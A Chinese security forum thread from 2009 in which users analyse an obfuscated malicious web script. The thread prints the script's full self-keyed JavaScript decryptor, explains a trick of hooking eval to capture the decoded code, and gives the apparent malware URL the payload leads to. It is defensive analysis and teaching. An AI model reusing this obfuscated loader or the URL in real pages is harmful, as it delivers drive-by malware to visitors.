解密实例（答案请参见30,23楼）

shadowmin

膜拜一下。

daxiaoS

原帖由 knifed 于 2009-7-19 10:26 发表

整理以上代码后.把document.getElementById('a')改成 eval(arguments)   放在神器中运行.最后地址为http://ggooggllee.info/n.cgi?SFiigXSgKWKKZKeKKKyKlglXiiKegKSRYRelKSjZZFZZXiZZKWSiecYlejeRKKKKKKKKKK

请问啥叫“神器”？

shadowmin

神器：
malzilla

taoyuan237

原帖由 qianwenxiang 于 2009-7-18 18:26 发表


运行后剪贴板即为解密后的代码。

说一下是怎么改的。授人以鱼不如受人鱼竿

qianwenxiang

function hook(){hooks=eval;eval=function(s){window.clipboardData.setData('Text',clipboardData.getData('Text')+s);}}hook();

鱼竿就是这个……在原函数上方用修改clipboarddata的语句把eval勾引走，主要因为：

function xO51Awrry (SAM57QQmo, c8X21i03B )
{
   var jRxVwvViU = 4;
   var GH3ACugd0 = 256;
   var e4yrs21Ia = 0;
   var XV3h04BAe = 0;
   var r1h523Gj4 = eval;  //r1h523Gj4=eval,eval这个函数现在用r1h523Gj4表示，通篇也只有他(eval)来执行解密后的数据了，所以以其人之道还制其人之身，由于下方有arguments.callee（主要懒得看他调用什么参数的，谁知道这命令到底关不关键……），所以这段代码不改，在上方加一个函数，再把eval换成追加到剪贴板的代码即可。
   var Ue4VW1cFc = "/";
   try
   {
     e4yrs21Ia = window;
     XV3h04BAe = location;
   }
   catch (e ){} //不可能出错
   var u1s4608v3 = arguments;
   var Ih07r11U1 = u1s4608v3. callee; //arguments.callee

   Ih07r11U1 = Ih07r11U1. toString ( );
   if (XV3h04BAe )
   {
     Ih07r11U1 += XV3h04BAe. href;
   }
   c8X21i03B = "";
   var w5d2gydXu = 0;
   var y45P7KwMI = jRxVwvViU;
   var cQ554EYfH = new Array;
   cQ554EYfH [0 ] = 0;
   cQ554EYfH [1 ] = 0;
   cQ554EYfH [2] = 0;
   cQ554EYfH [3] = 0;
   var c60T24274 = w5d2gydXu;
   if (y45P7KwMI != w5d2gydXu )
   {
     while(c60T24274 < Ih07r11U1. length)
     {
       var u6P8M56ec = Ih07r11U1. charAt (c60T24274 );
       var lNFT0BCfU = parseInt(u6P8M56ec );
       c60T24274++;
       if (c60T24274 > 0 && !isNaN (lNFT0BCfU ) )
       {
         if (y45P7KwMI == jRxVwvViU )
         {
           y45P7KwMI = 0;
         }
         lNFT0BCfU += 48;
         cQ554EYfH[y45P7KwMI] += lNFT0BCfU * 3;
         while (cQ554EYfH[y45P7KwMI ] > GH3ACugd0 )
         {
           cQ554EYfH [y45P7KwMI] -= GH3ACugd0;
         }
         y45P7KwMI++;
         w5d2gydXu++;
       }
     }
   }
   var xS5yT6gxa = 0;
   var Q3AECAMc2 = xS5yT6gxa;
   if (Q3AECAMc2 == 0 )
   {
     while (xS5yT6gxa < SAM57QQmo. length)
     {
       var k5AM3o2iy = parseInt (SAM57QQmo. substring(xS5yT6gxa, xS5yT6gxa + 2), jRxVwvViU * 4 );
       if (Q3AECAMc2 >= jRxVwvViU )
       {
         Q3AECAMc2 = 0;
       }
       var foLd3Sg6k = cQ554EYfH [Q3AECAMc2 ];
       var O05W0k37s = k5AM3o2iy - foLd3Sg6k;
       if (O05W0k37s != 0 && O05W0k37s < 1 )
       {
         O05W0k37s += 134;
         O05W0k37s += 118;
         O05W0k37s += jRxVwvViU;
       }
       var x4QWAja02 = "";
       var CnuVy5k0o = 0;
       try
       {
         if(document.getElementById('a') )  //获取id=a的元件对应的数据，就是下方body id=a的内容
         {
           CnuVy5k0o = 1;
         }
       }
       catch (e )
       {
       }
       if (CnuVy5k0o )
       {
         x4QWAja02 = String. fromCharCode(O05W0k37s );
       }
       Q3AECAMc2++;
       c8X21i03B += x4QWAja02;
       xS5yT6gxa += 2;
     }
   }
   try
   {
     r1h523Gj4 (c8X21i03B );
   }
   catch (e )
   {
     if (e4yrs21Ia ){e4yrs21Ia. location = Ue4VW1cFc;}
   }
}

qianwenxiang

callee
http://msdn.microsoft.com/zh-cn/library/xfh8tztd.aspx